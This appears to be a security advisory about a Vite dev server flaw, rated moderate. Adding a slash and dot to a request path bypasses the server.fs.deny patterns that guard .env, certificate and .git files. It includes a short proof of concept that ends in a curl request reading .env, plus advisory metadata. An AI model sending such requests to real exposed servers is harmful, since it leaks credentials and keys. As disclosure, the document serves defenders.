The contents of files in the project <code>root</code> that are denied by a file matching pattern can be returned to the browser.
Only apps explicitly exposing the Vite dev server to the network (using --host or server.host config option) are affected. Only files that are under project <code>root</code> and are denied by a file matching pattern can be bypassed.
.env, .env.*, *.{crt,pem}, **/.env**/.git/**, .git/**, .git/**/*<code>server.fs.deny</code> can contain patterns matching against files (by default it includes .env, .env.*, *.{crt,pem} as such patterns).
These patterns were able to bypass for files under root by using a combination of slash and dot (/.).
npm create vite@latest
cd vite-project/
cat "secret" > .env
npm install
npm run dev
curl --request-target /.env/. http://localhost:5173
{
"github_reviewed": true,
"cwe_ids": [
"CWE-22"
],
"github_reviewed_at": "2025-04-30T17:40:27Z",
"nvd_published_at": "2025-05-01T18:15:57Z",
"severity": "MODERATE"
}